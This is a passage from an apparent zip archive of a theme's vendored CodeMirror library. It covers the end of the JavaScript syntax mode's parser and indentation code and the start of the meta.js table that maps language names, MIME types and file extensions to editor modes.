    var arrow = stream.string.indexOf("=>", stream.start);
    if (arrow < 0) return;

    var depth = 0, sawSomething = false;
    for (var pos = arrow - 1; pos >= 0; --pos) {
      var ch = stream.string.charAt(pos);
      var bracket = brackets.indexOf(ch);
      if (bracket >= 0 && bracket < 3) {
        if (!depth) { ++pos; break; }
        if (--depth == 0) break;
      } else if (bracket >= 3 && bracket < 6) {
        ++depth;
      } else if (wordRE.test(ch)) {
        sawSomething = true;
      } else if (/["'\/]/.test(ch)) {
        return;
      } else if (sawSomething && !depth) {
        ++pos;
        break;
      }
    }
    if (sawSomething && !depth) state.fatArrowAt = pos;
  }

  // Parser

  var atomicTypes = {"atom": true, "number": true, "variable": true, "string": true, "regexp": true, "this": true, "jsonld-keyword": true};

  function JSLexical(indented, column, type, align, prev, info) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.prev = prev;
    this.info = info;
    if (align != null) this.align = align;
  }

  function inScope(state, varname) {
    for (var v = state.localVars; v; v = v.next)
      if (v.name == varname) return true;
    for (var cx = state.context; cx; cx = cx.prev) {
      for (var v = cx.vars; v; v = v.next)
        if (v.name == varname) return true;
    }
  }

  function parseJS(state, style, type, content, stream) {
    var cc = state.cc;
    // Communicate our context to the combinators.
    // (Less wasteful than consing up a hundred closures on every call.)
    cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc; cx.style = style;

    if (!state.lexical.hasOwnProperty("align"))
      state.lexical.align = true;

    while(true) {
      var combinator = cc.length ? cc.pop() : jsonMode ? expression : statement;
      if (combinator(type, content)) {
        while(cc.length && cc[cc.length - 1].lex)
          cc.pop()();
        if (cx.marked) return cx.marked;
        if (type == "variable" && inScope(state, content)) return "variable-2";
        return style;
      }
    }
  }

  // Combinator utils

  var cx = {state: null, column: null, marked: null, cc: null};
  function pass() {
    for (var i = arguments.length - 1; i >= 0; i--) cx.cc.push(arguments[i]);
  }
  function cont() {
    pass.apply(null, arguments);
    return true;
  }
  function register(varname) {
    function inList(list) {
      for (var v = list; v; v = v.next)
        if (v.name == varname) return true;
      return false;
    }
    var state = cx.state;
    cx.marked = "def";
    if (state.context) {
      if (inList(state.localVars)) return;
      state.localVars = {name: varname, next: state.localVars};
    } else {
      if (inList(state.globalVars)) return;
      if (parserConfig.globalVars)
        state.globalVars = {name: varname, next: state.globalVars};
    }
  }

  // Combinators

  var defaultVars = {name: "this", next: {name: "arguments"}};
  function pushcontext() {
    cx.state.context = {prev: cx.state.context, vars: cx.state.localVars};
    cx.state.localVars = defaultVars;
  }
  function popcontext() {
    cx.state.localVars = cx.state.context.vars;
    cx.state.context = cx.state.context.prev;
  }
  function pushlex(type, info) {
    var result = function() {
      var state = cx.state, indent = state.indented;
      if (state.lexical.type == "stat") indent = state.lexical.indented;
      else for (var outer = state.lexical; outer && outer.type == ")" && outer.align; outer = outer.prev)
        indent = outer.indented;
      state.lexical = new JSLexical(indent, cx.stream.column(), type, null, state.lexical, info);
    };
    result.lex = true;
    return result;
  }
  function poplex() {
    var state = cx.state;
    if (state.lexical.prev) {
      if (state.lexical.type == ")")
        state.indented = state.lexical.indented;
      state.lexical = state.lexical.prev;
    }
  }
  poplex.lex = true;

  function expect(wanted) {
    function exp(type) {
      if (type == wanted) return cont();
      else if (wanted == ";") return pass();
      else return cont(exp);
    };
    return exp;
  }

  function statement(type, value) {
    if (type == "var") return cont(pushlex("vardef", value.length), vardef, expect(";"), poplex);
    if (type == "keyword a") return cont(pushlex("form"), expression, statement, poplex);
    if (type == "keyword b") return cont(pushlex("form"), statement, poplex);
    if (type == "{") return cont(pushlex("}"), block, poplex);
    if (type == ";") return cont();
    if (type == "if") {
      if (cx.state.lexical.info == "else" && cx.state.cc[cx.state.cc.length - 1] == poplex)
        cx.state.cc.pop()();
      return cont(pushlex("form"), expression, statement, poplex, maybeelse);
    }
    if (type == "function") return cont(functiondef);
    if (type == "for") return cont(pushlex("form"), forspec, statement, poplex);
    if (type == "variable") return cont(pushlex("stat"), maybelabel);
    if (type == "switch") return cont(pushlex("form"), expression, pushlex("}", "switch"), expect("{"),
                                      block, poplex, poplex);
    if (type == "case") return cont(expression, expect(":"));
    if (type == "default") return cont(expect(":"));
    if (type == "catch") return cont(pushlex("form"), pushcontext, expect("("), funarg, expect(")"),
                                     statement, poplex, popcontext);
    if (type == "class") return cont(pushlex("form"), className, poplex);
    if (type == "export") return cont(pushlex("stat"), afterExport, poplex);
    if (type == "import") return cont(pushlex("stat"), afterImport, poplex);
    return pass(pushlex("stat"), expression, expect(";"), poplex);
  }
  function expression(type) {
    return expressionInner(type, false);
  }
  function expressionNoComma(type) {
    return expressionInner(type, true);
  }
  function expressionInner(type, noComma) {
    if (cx.state.fatArrowAt == cx.stream.start) {
      var body = noComma ? arrowBodyNoComma : arrowBody;
      if (type == "(") return cont(pushcontext, pushlex(")"), commasep(pattern, ")"), poplex, expect("=>"), body, popcontext);
      else if (type == "variable") return pass(pushcontext, pattern, expect("=>"), body, popcontext);
    }

    var maybeop = noComma ? maybeoperatorNoComma : maybeoperatorComma;
    if (atomicTypes.hasOwnProperty(type)) return cont(maybeop);
    if (type == "function") return cont(functiondef, maybeop);
    if (type == "keyword c") return cont(noComma ? maybeexpressionNoComma : maybeexpression);
    if (type == "(") return cont(pushlex(")"), maybeexpression, comprehension, expect(")"), poplex, maybeop);
    if (type == "operator" || type == "spread") return cont(noComma ? expressionNoComma : expression);
    if (type == "[") return cont(pushlex("]"), arrayLiteral, poplex, maybeop);
    if (type == "{") return contCommasep(objprop, "}", null, maybeop);
    if (type == "quasi") return pass(quasi, maybeop);
    if (type == "new") return cont(maybeTarget(noComma));
    return cont();
  }
  function maybeexpression(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expression);
  }
  function maybeexpressionNoComma(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expressionNoComma);
  }

  function maybeoperatorComma(type, value) {
    if (type == ",") return cont(expression);
    return maybeoperatorNoComma(type, value, false);
  }
  function maybeoperatorNoComma(type, value, noComma) {
    var me = noComma == false ? maybeoperatorComma : maybeoperatorNoComma;
    var expr = noComma == false ? expression : expressionNoComma;
    if (type == "=>") return cont(pushcontext, noComma ? arrowBodyNoComma : arrowBody, popcontext);
    if (type == "operator") {
      if (/\+\+|--/.test(value)) return cont(me);
      if (value == "?") return cont(expression, expect(":"), expr);
      return cont(expr);
    }
    if (type == "quasi") { return pass(quasi, me); }
    if (type == ";") return;
    if (type == "(") return contCommasep(expressionNoComma, ")", "call", me);
    if (type == ".") return cont(property, me);
    if (type == "[") return cont(pushlex("]"), maybeexpression, expect("]"), poplex, me);
  }
  function quasi(type, value) {
    if (type != "quasi") return pass();
    if (value.slice(value.length - 2) != "${") return cont(quasi);
    return cont(expression, continueQuasi);
  }
  function continueQuasi(type) {
    if (type == "}") {
      cx.marked = "string-2";
      cx.state.tokenize = tokenQuasi;
      return cont(quasi);
    }
  }
  function arrowBody(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expression);
  }
  function arrowBodyNoComma(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expressionNoComma);
  }
  function maybeTarget(noComma) {
    return function(type) {
      if (type == ".") return cont(noComma ? targetNoComma : target);
      else return pass(noComma ? expressionNoComma : expression);
    };
  }
  function target(_, value) {
    if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorComma); }
  }
  function targetNoComma(_, value) {
    if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorNoComma); }
  }
  function maybelabel(type) {
    if (type == ":") return cont(poplex, statement);
    return pass(maybeoperatorComma, expect(";"), poplex);
  }
  function property(type) {
    if (type == "variable") {cx.marked = "property"; return cont();}
  }
  function objprop(type, value) {
    if (type == "variable" || cx.style == "keyword") {
      cx.marked = "property";
      if (value == "get" || value == "set") return cont(getterSetter);
      return cont(afterprop);
    } else if (type == "number" || type == "string") {
      cx.marked = jsonldMode ? "property" : (cx.style + " property");
      return cont(afterprop);
    } else if (type == "jsonld-keyword") {
      return cont(afterprop);
    } else if (type == "[") {
      return cont(expression, expect("]"), afterprop);
    } else if (type == "spread") {
      return cont(expression);
    }
  }
  function getterSetter(type) {
    if (type != "variable") return pass(afterprop);
    cx.marked = "property";
    return cont(functiondef);
  }
  function afterprop(type) {
    if (type == ":") return cont(expressionNoComma);
    if (type == "(") return pass(functiondef);
  }
  function commasep(what, end) {
    function proceed(type) {
      if (type == ",") {
        var lex = cx.state.lexical;
        if (lex.info == "call") lex.pos = (lex.pos || 0) + 1;
        return cont(what, proceed);
      }
      if (type == end) return cont();
      return cont(expect(end));
    }
    return function(type) {
      if (type == end) return cont();
      return pass(what, proceed);
    };
  }
  function contCommasep(what, end, info) {
    for (var i = 3; i < arguments.length; i++)
      cx.cc.push(arguments[i]);
    return cont(pushlex(end, info), commasep(what, end), poplex);
  }
  function block(type) {
    if (type == "}") return cont();
    return pass(statement, block);
  }
  function maybetype(type) {
    if (isTS && type == ":") return cont(typedef);
  }
  function maybedefault(_, value) {
    if (value == "=") return cont(expressionNoComma);
  }
  function typedef(type) {
    if (type == "variable") {cx.marked = "variable-3"; return cont();}
  }
  function vardef() {
    return pass(pattern, maybetype, maybeAssign, vardefCont);
  }
  function pattern(type, value) {
    if (type == "variable") { register(value); return cont(); }
    if (type == "spread") return cont(pattern);
    if (type == "[") return contCommasep(pattern, "]");
    if (type == "{") return contCommasep(proppattern, "}");
  }
  function proppattern(type, value) {
    if (type == "variable" && !cx.stream.match(/^\s*:/, false)) {
      register(value);
      return cont(maybeAssign);
    }
    if (type == "variable") cx.marked = "property";
    if (type == "spread") return cont(pattern);
    return cont(expect(":"), pattern, maybeAssign);
  }
  function maybeAssign(_type, value) {
    if (value == "=") return cont(expressionNoComma);
  }
  function vardefCont(type) {
    if (type == ",") return cont(vardef);
  }
  function maybeelse(type, value) {
    if (type == "keyword b" && value == "else") return cont(pushlex("form", "else"), statement, poplex);
  }
  function forspec(type) {
    if (type == "(") return cont(pushlex(")"), forspec1, expect(")"), poplex);
  }
  function forspec1(type) {
    if (type == "var") return cont(vardef, expect(";"), forspec2);
    if (type == ";") return cont(forspec2);
    if (type == "variable") return cont(formaybeinof);
    return pass(expression, expect(";"), forspec2);
  }
  function formaybeinof(_type, value) {
    if (value == "in" || value == "of") { cx.marked = "keyword"; return cont(expression); }
    return cont(maybeoperatorComma, forspec2);
  }
  function forspec2(type, value) {
    if (type == ";") return cont(forspec3);
    if (value == "in" || value == "of") { cx.marked = "keyword"; return cont(expression); }
    return pass(expression, expect(";"), forspec3);
  }
  function forspec3(type) {
    if (type != ")") cont(expression);
  }
  function functiondef(type, value) {
    if (value == "*") {cx.marked = "keyword"; return cont(functiondef);}
    if (type == "variable") {register(value); return cont(functiondef);}
    if (type == "(") return cont(pushcontext, pushlex(")"), commasep(funarg, ")"), poplex, statement, popcontext);
  }
  function funarg(type) {
    if (type == "spread") return cont(funarg);
    return pass(pattern, maybetype, maybedefault);
  }
  function className(type, value) {
    if (type == "variable") {register(value); return cont(classNameAfter);}
  }
  function classNameAfter(type, value) {
    if (value == "extends") return cont(expression, classNameAfter);
    if (type == "{") return cont(pushlex("}"), classBody, poplex);
  }
  function classBody(type, value) {
    if (type == "variable" || cx.style == "keyword") {
      if (value == "static") {
        cx.marked = "keyword";
        return cont(classBody);
      }
      cx.marked = "property";
      if (value == "get" || value == "set") return cont(classGetterSetter, functiondef, classBody);
      return cont(functiondef, classBody);
    }
    if (value == "*") {
      cx.marked = "keyword";
      return cont(classBody);
    }
    if (type == ";") return cont(classBody);
    if (type == "}") return cont();
  }
  function classGetterSetter(type) {
    if (type != "variable") return pass();
    cx.marked = "property";
    return cont();
  }
  function afterExport(_type, value) {
    if (value == "*") { cx.marked = "keyword"; return cont(maybeFrom, expect(";")); }
    if (value == "default") { cx.marked = "keyword"; return cont(expression, expect(";")); }
    return pass(statement);
  }
  function afterImport(type) {
    if (type == "string") return cont();
    return pass(importSpec, maybeFrom);
  }
  function importSpec(type, value) {
    if (type == "{") return contCommasep(importSpec, "}");
    if (type == "variable") register(value);
    if (value == "*") cx.marked = "keyword";
    return cont(maybeAs);
  }
  function maybeAs(_type, value) {
    if (value == "as") { cx.marked = "keyword"; return cont(importSpec); }
  }
  function maybeFrom(_type, value) {
    if (value == "from") { cx.marked = "keyword"; return cont(expression); }
  }
  function arrayLiteral(type) {
    if (type == "]") return cont();
    return pass(expressionNoComma, maybeArrayComprehension);
  }
  function maybeArrayComprehension(type) {
    if (type == "for") return pass(comprehension, expect("]"));
    if (type == ",") return cont(commasep(maybeexpressionNoComma, "]"));
    return pass(commasep(expressionNoComma, "]"));
  }
  function comprehension(type) {
    if (type == "for") return cont(forspec, comprehension);
    if (type == "if") return cont(expression, comprehension);
  }

  function isContinuedStatement(state, textAfter) {
    return state.lastType == "operator" || state.lastType == "," ||
      isOperatorChar.test(textAfter.charAt(0)) ||
      /[,.]/.test(textAfter.charAt(0));
  }

  // Interface

  return {
    startState: function(basecolumn) {
      var state = {
        tokenize: tokenBase,
        lastType: "sof",
        cc: [],
        lexical: new JSLexical((basecolumn || 0) - indentUnit, 0, "block", false),
        localVars: parserConfig.localVars,
        context: parserConfig.localVars && {vars: parserConfig.localVars},
        indented: 0
      };
      if (parserConfig.globalVars && typeof parserConfig.globalVars == "object")
        state.globalVars = parserConfig.globalVars;
      return state;
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (!state.lexical.hasOwnProperty("align"))
          state.lexical.align = false;
        state.indented = stream.indentation();
        findFatArrow(stream, state);
      }
      if (state.tokenize != tokenComment && stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      if (type == "comment") return style;
      state.lastType = type == "operator" && (content == "++" || content == "--") ? "incdec" : type;
      return parseJS(state, style, type, content, stream);
    },

    indent: function(state, textAfter) {
      if (state.tokenize == tokenComment) return CodeMirror.Pass;
      if (state.tokenize != tokenBase) return 0;
      var firstChar = textAfter && textAfter.charAt(0), lexical = state.lexical;
      // Kludge to prevent 'maybelse' from blocking lexical scope pops
      if (!/^\s*else\b/.test(textAfter)) for (var i = state.cc.length - 1; i >= 0; --i) {
        var c = state.cc[i];
        if (c == poplex) lexical = lexical.prev;
        else if (c != maybeelse) break;
      }
      if (lexical.type == "stat" && firstChar == "}") lexical = lexical.prev;
      if (statementIndent && lexical.type == ")" && lexical.prev.type == "stat")
        lexical = lexical.prev;
      var type = lexical.type, closing = firstChar == type;

      if (type == "vardef") return lexical.indented + (state.lastType == "operator" || state.lastType == "," ? lexical.info + 1 : 0);
      else if (type == "form" && firstChar == "{") return lexical.indented;
      else if (type == "form") return lexical.indented + indentUnit;
      else if (type == "stat")
        return lexical.indented + (isContinuedStatement(state, textAfter) ? statementIndent || indentUnit : 0);
      else if (lexical.info == "switch" && !closing && parserConfig.doubleIndentSwitch != false)
        return lexical.indented + (/^(?:case|default)\b/.test(textAfter) ? indentUnit : 2 * indentUnit);
      else if (lexical.align) return lexical.column + (closing ? 0 : 1);
      else return lexical.indented + (closing ? 0 : indentUnit);
    },

    electricInput: /^\s*(?:case .*?:|default:|\{|\})$/,
    blockCommentStart: jsonMode ? null : "/*",
    blockCommentEnd: jsonMode ? null : "*/",
    lineComment: jsonMode ? null : "//",
    fold: "brace",
    closeBrackets: "()[]{}''\"\"``",

    helperType: jsonMode ? "json" : "javascript",
    jsonldMode: jsonldMode,
    jsonMode: jsonMode
  };
});

CodeMirror.registerHelper("wordChars", "javascript", /[\w$]/);

CodeMirror.defineMIME("text/javascript", "javascript");
CodeMirror.defineMIME("text/ecmascript", "javascript");
CodeMirror.defineMIME("application/javascript", "javascript");
CodeMirror.defineMIME("application/x-javascript", "javascript");
CodeMirror.defineMIME("application/ecmascript", "javascript");
CodeMirror.defineMIME("application/json", {name: "javascript", json: true});
CodeMirror.defineMIME("application/x-json", {name: "javascript", json: true});
CodeMirror.defineMIME("application/ld+json", {name: "javascript", jsonld: true});
CodeMirror.defineMIME("text/typescript", { name: "javascript", typescript: true });
CodeMirror.defineMIME("application/typescript", { name: "javascript", typescript: true });

});
PK     N\S4  4  A  inc/customizer/framework/assets/js/vendor/codemirror/mode/meta.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.modeInfo = [
    {name: "APL", mime: "text/apl", mode: "apl", ext: ["dyalog", "apl"]},
    {name: "PGP", mimes: ["application/pgp", "application/pgp-keys", "application/pgp-signature"], mode: "asciiarmor", ext: ["pgp"]},
    {name: "ASN.1", mime: "text/x-ttcn-asn", mode: "asn.1", ext: ["asn", "asn1"]},
    {name: "Asterisk", mime: "text/x-asterisk", mode: "asterisk", file: /^extensions\.conf$/i},
    {name: "Brainfuck", mime: "text/x-brainfuck", mode: "brainfuck", ext: ["b", "bf"]},
    {name: "C", mime: "text/x-csrc", mode: "clike", ext: ["c", "h"]},
    {name: "C++", mime: "text/x-c++src", mode: "clike", ext: ["cpp", "c++", "cc", "cxx", "hpp", "h++", "hh", "hxx"], alias: ["cpp"]},
    {name: "Cobol", mime: "text/x-cobol", mode: "cobol", ext: ["cob", "cpy"]},
    {name: "C#", mime: "text/x-csharp", mode: "clike", ext: ["cs"], alias: ["csharp"]},
    {name: "Clojure", mime: "text/x-clojure", mode: "clojure", ext: ["clj"]},
    {name: "Closure Stylesheets (GSS)", mime: "text/x-gss", mode: "css", ext: ["gss"]},
    {name: "CMake", mime: "text/x-cmake", mode: "cmake", ext: ["cmake", "cmake.in"], file: /^CMakeLists.txt$/},
    {name: "CoffeeScript", mime: "text/x-coffeescript", mode: "coffeescript", ext: ["coffee"], alias: ["coffee", "coffee-script"]},
    {name: "Common Lisp", mime: "text/x-common-lisp", mode: "commonlisp", ext: ["cl", "lisp", "el"], alias: ["lisp"]},
    {name: "Cypher", mime: "application/x-cypher-query", mode: "cypher", ext: ["cyp", "cypher"]},
    {name: "Cython", mime: "text/x-cython", mode: "python", ext: ["pyx", "pxd", "pxi"]},
    {name: "CSS", mime: "text/css", mode: "css", ext: ["css"]},
    {name: "CQL", mime: "text/x-cassandra", mode: "sql", ext: ["cql"]},
    {name: "D", mime: "text/x-d", mode: "d", ext: ["d"]},
    {name: "Dart", mimes: ["application/dart", "text/x-dart"], mode: "dart", ext: ["dart"]},
    {name: "diff", mime: "text/x-diff", mode: "diff", ext: ["diff", "patch"]},
    {name: "Django", mime: "text/x-django", mode: "django"},
    {name: "Dockerfile", mime: "text/x-dockerfile", mode: "dockerfile", file: /^Dockerfile$/},
    {name: "DTD", mime: "application/xml-dtd", mode: "dtd", ext: ["dtd"]},
    {name: "Dylan", mime: "text/x-dylan", mode: "dylan", ext: ["dylan", "dyl", "intr"]},
    {name: "EBNF", mime: "text/x-ebnf", mode: "ebnf"},
    {name: "ECL", mime: "text/x-ecl", mode: "ecl", ext: ["ecl"]},
    {name: "Eiffel", mime: "text/x-eiffel", mode: "eiffel", ext: ["e"]},
    {name: "Elm", mime: "text/x-elm", mode: "elm", ext: ["elm"]},
    {name: "Embedded Javascript", mime: "application/x-ejs", mode: "htmlembedded", ext: ["ejs"]},
    {name: "Embedded Ruby", mime: "application/x-erb", mode: "htmlembedded", ext: ["erb"]},
    {name: "Erlang", mime: "text/x-erlang", mode: "erlang", ext: ["erl"]},
    {name: "Factor", mime: "text/x-factor", mode: "factor", ext: ["factor"]},
    {name: "Forth", mime: "text/x-forth", mode: "forth", ext: ["forth", "fth", "4th"]},
    {name: "Fortran", mime: "text/x-fortran", mode: "fortran", ext: ["f", "for", "f77", "f90"]},
    {name: "F#", mime: "text/x-fsharp", mode: "mllike", ext: ["fs"], alias: ["fsharp"]},
    {name: "Gas", mime: "text/x-gas", mode: "gas", ext: ["s"]},
    {name: "Gherkin", mime: "text/x-feature", mode: "gherkin", ext: ["feature"]},
    {name: "GitHub Flavored Markdown", mime: "text/x-gfm", mode: "gfm", file: /^(readme|contributing|history).md$/i},
    {name: "Go", mime: "text/x-go", mode: "go", ext: ["go"]},
    {name: "Groovy", mime: "text/x-groovy", mode: "groovy", ext: ["groovy"]},
    {name: "HAML", mime: "text/x-haml", mode: "haml", ext: ["haml"]},
    {name: "Haskell", mime: "text/x-haskell", mode: "haskell", ext: ["hs"]},
    {name: "Haxe", mime: "text/x-haxe", mode: "haxe", ext: ["hx"]},
    {name: "HXML", mime: "text/x-hxml", mode: "haxe", ext: ["hxml"]},
    {name: "ASP.NET", mime: "application/x-aspx", mode: "htmlembedded", ext: ["aspx"], alias: ["asp", "aspx"]},
    {name: "HTML", mime: "text/html", mode: "htmlmixed", ext: ["html", "htm"], alias: ["xhtml"]},
    {name: "HTTP", mime: "message/http", mode: "http"},
    {name: "IDL", mime: "text/x-idl", mode: "idl", ext: ["pro"]},
    {name: "Jade", mime: "text/x-jade", mode: "jade", ext: ["jade"]},
    {name: "Java", mime: "text/x-java", mode: "clike", ext: ["java"]},
    {name: "Java Server Pages", mime: "application/x-jsp", mode: "htmlembedded", ext: ["jsp"], alias: ["jsp"]},
    {name: "JavaScript", mimes: ["text/javascript", "text/ecmascript", "application/javascript", "application/x-javascript", "application/ecmascript"],
     mode: "javascript", ext: ["js"], alias: ["ecmascript", "js", "node"]},
    {name: "JSON", mimes: ["application/json", "application/x-json"], mode: "javascript", ext: ["json", "map"], alias: ["json5"]},
    {name: "JSON-LD", mime: "application/ld+json", mode: "javascript", ext: ["jsonld"], alias: ["jsonld"]},
    {name: "Jinja2", mime: "null", mode: "jinja2"},
    {name: "Julia", mime: "text/x-julia", mode: "julia", ext: ["jl"]},
    {name: "Kotlin", mime: "text/x-kotlin", mode: "clike", ext: ["kt"]},
    {name: "LESS", mime: "text/x-less", mode: "css", ext: ["less"]},
    {name: "LiveScript", mime: "text/x-livescript", mode: "livescript", ext: ["ls"], alias: ["ls"]},
    {name: "Lua", mime: "text/x-lua", mode: "lua", ext: ["lua"]},
    {name: "Markdown", mime: "text/x-markdown", mode: "markdown", ext: ["markdown", "md", "mkd"]},
    {name: "mIRC", mime: "text/mirc", mode: "mirc"},
    {name: "MariaDB SQL", mime: "text/x-mariadb", mode: "sql"},
    {name: "Mathematica", mime: "text/x-mathematica", mode: "mathematica", ext: ["m", "nb"]},
    {name: "Modelica", mime: "text/x-modelica", mode: "modelica", ext: ["mo"]},
    {name: "MUMPS", mime: "text/x-mumps", mode: "mumps"},
    {name: "MS SQL", mime: "text/x-mssql", mode: "sql"},
    {name: "MySQL", mime: "text/x-mysql", mode: "sql"},
    {name: "Nginx", mime: "text/x-nginx-conf", mode: "nginx", file: /nginx.*\.conf$/i},
    {name: "NSIS", mime: "text/x-nsis", mode: "nsis", ext: ["nsh", "nsi"]},
    {name: "NTriples", mime: "text/n-triples", mode: "ntriples", ext: ["nt"]},
    {name: "Objective C", mime: "text/x-objectivec", mode: "clike", ext: ["m", "mm"]},
    {name: "OCaml", mime: "text/x-ocaml", mode: "mllike", ext: ["ml", "mli", "mll", "mly"]},
    {name: "Octave", mime: "text/x-octave", mode: "octave", ext: ["m"]},
    {name: "Oz", mime: "text/x-oz", mode: "oz", ext: ["oz"]},
    {name: "Pascal", mime: "text/x-pascal", mode: "pascal", ext: ["p", "pas"]},
    {name: "PEG.js", mime: "null", mode: "pegjs", ext: ["jsonld"]},
    {name: "Perl", mime: "text/x-perl", mode: "perl", ext: ["pl", "pm"]},
    {name: "PHP", mime: "application/x-httpd-php", mode: "php", ext: ["php", "php3", "php4", "php5", "phtml"]},
    {name: "Pig", mime: "text/x-pig", mode: "pig", ext: ["pig"]},
    {name: "Plain Text", mime: "text/plain", mode: "null", ext: ["txt", "text", "conf", "def", "list", "log"]},
    {name: "PLSQL", mime: "text/x-plsql", mode: "sql", ext: ["pls"]},
    {name: "Properties files", mime: "text/x-properties", mode: "properties", ext: ["properties", "ini", "in"], alias: ["ini", "properties"]},
    {name: "Python", mime: "text/x-python", mode: "python", ext: ["py", "pyw"]},
    {name: "Puppet", mime: "text/x-puppet", mode: "puppet", ext: ["pp"]},
    {name: "Q", mime: "text/x-q", mode: "q", ext: ["q"]},
    {name: "R", mime: "text/x-rsrc", mode: "r", ext: ["r"], alias: ["rscript"]},
    {name: "reStructuredText", mime: "text/x-rst", mode: "rst", ext: ["rst"], alias: ["rst"]},
    {name: "RPM Changes", mime: "text/x-rpm-changes", mode: "rpm"},
    {name: "RPM Spec", mime: "text/x-rpm-spec", mode: "rpm", ext: ["spec"]},
    {name: "Ruby", mime: "text/x-ruby", mode: "ruby", ext: ["rb"], alias: ["jruby", "macruby", "rake", "rb", "rbx"]},
    {name: "Rust", mime: "text/x-rustsrc", mode: "rust", ext: ["rs"]},
    {name: "Sass", mime: "text/x-sass", mode: "sass", ext: ["sass"]},
    {name: "Scala", mime: "text/x-scala", mode: "clike", ext: ["scala"]},
    {name: "Scheme", mime: "text/x-scheme", mode: "scheme", ext: ["scm", "ss"]},
    {name: "SCSS", mime: "text/x-scss", mode: "css", ext: ["scss"]},
    {name: "Shell", mime: "text/x-sh", mode: "shell", ext: ["sh", "ksh", "bash"], alias: ["bash", "sh", "zsh"], file: /^PKGBUILD$/},
    {name: "Sieve", mime: "application/sieve", mode: "sieve", ext: ["siv", "sieve"]},
    {name: "Slim", mimes: ["text/x-slim", "application/x-slim"], mode: "slim", ext: ["slim"]},
    {name: "Smalltalk", mime: "text/x-stsrc", mode: "smalltalk", ext: ["st"]},
    {name: "Smarty", mime: "text/x-smarty", mode: "smarty", ext: ["tpl"]},
    {name: "Solr", mime: "text/x-solr", mode: "solr"},
    {name: "Soy", mime: "text/x-soy", mode: "soy", ext: ["soy"], alias: ["closure template"]},
    {name: "SPARQL", mime: "application/sparql-query", mode: "sparql", ext: ["rq", "sparql"], alias: ["sparul"]},
    {name: "Spreadsheet", mime: "text/x-spreadsheet", mode: "spreadsheet", alias: ["excel", "formula"]},
    {name: "SQL", mime: "text/x-sql", mode: "sql", ext: ["sql"]},
    {name: "Squirrel", mime: "text/x-squirrel", mode: "clike", ext: ["nut"]},
    {name: "Swift", mime: "text/x-swift", mode: "swift", ext: ["swift"]},
    {name: "MariaDB", mime: "text/x-mariadb", mode: "sql"},
    {name: "sTeX", mime: "text/x-stex", mode: "stex"},
    {name: "LaTeX", mime: "text/x-latex", mode: "stex", ext: ["text", "ltx"], alias: ["tex"]},
    {name: "SystemVerilog", mime: "text/x-systemverilog", mode: "verilog", ext: ["v"]},
    {name: "Tcl", mime: "text/x-tcl", mode: "tcl", ext: ["tcl"]},
    {name: "Textile", mime: "text/x-textile", mode: "textile", ext: ["textile"]},
    {name: "TiddlyWiki ", mime: "text/x-tiddlywiki", mode: "tiddlywiki"},
    {name: "Tiki wiki", mime: "text/tiki", mode: "tiki"},
    {name: "TOML", mime: "text/x-toml", mode: "toml", ext: ["toml"]},
    {name: "Tornado", mime: "text/x-tornado", mode: "tornado"},
    {name: "troff", mime: "troff", mode: "troff", ext: ["1", "2", "3", "4", "5", "6", "7", "8", "9"]},
    {name: "TTCN", mime: "text/x-ttcn", mode: "ttcn", ext: ["ttcn", "ttcn3", "ttcnpp"]},
    {name: "TTCN_CFG", mime: "text/x-ttcn-cfg", mode: "ttcn-cfg", ext: ["cfg"]},
    {name: "Turtle", mime: "text/turtle", mode: "turtle", ext: ["ttl"]},
    {name: "TypeScript", mime: "application/typescript", mode: "javascript", ext: ["ts"], alias: ["ts"]},
    {name: "Twig", mime: "text/x-twig", mode: "twig"},
    {name: "VB.NET", mime: "text/x-vb", mode: "vb", ext: ["vb"]},
    {name: "VBScript", mime: "text/vbscript", mode: "vbscript", ext: ["vbs"]},
    {name: "Velocity", mime: "text/velocity", mode: "velocity", ext: ["vtl"]},
    {name: "Verilog", mime: "text/x-verilog", mode: "verilog", ext: ["v"]},
    {name: "VHDL", mime: "text/x-vhdl", mode: "vhdl", ext: ["vhd", "vhdl"]},
    {name: "XML", mimes: ["application/xml", "text/xml"], mode: "xml", ext: ["xml", "xsl", "xsd"], alias: ["rss", "wsdl", "xsd"]},
    {name: "XQuery", mime: "application/xquery", mode: "xquery", ext: ["xy", "xquery"]},
    {name: "YAML", mime: "text/x-yaml", mode: "yaml", ext: ["yaml", "yml"], alias: ["yml"]},
    {name: "Z80", mime: "text/x-z80", mode: "z80", ext: ["z80"]},
    {name: "mscgen", mime: "text/x-mscgen", mode: "mscgen", ext: ["mscgen", "mscin", "msc"]},
    {name: "xu", mime: "text/x-xu", mode: "mscgen", ext: ["xu"]},
    {name: "msgenny", mime: "text/x-msgenny", mode: "mscgen", ext: ["msgenny"]}
  ];
  // Ensure all modes have a mime property for backwards compatibility
  for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
    var info = CodeMirror.modeInfo[i];
    if (info.mimes) info.mime = info.mimes[0];
  }

  CodeMirror.findModeByMIME = function(mime) {
    mime = mime.toLowerCase();
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.mime == mime) return info;
      if (info.mimes) for (var j = 0; j < info.mimes.length; j++)
        if (info.mimes[j] == mime) return info;
    }
  };

  CodeMirror.findModeByExtension = function(ext) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
      if (info.ext) for (var j = 0; j < info.ext.length; j++)
        if (info.ext[j] == ext) return info;
    }
  };

  CodeMirror.findModeByFileName = function(filename) {
    for (var i = 0; i < CodeMirror.modeInfo.length; i++) {
      var info = CodeMirror.modeInfo[i];
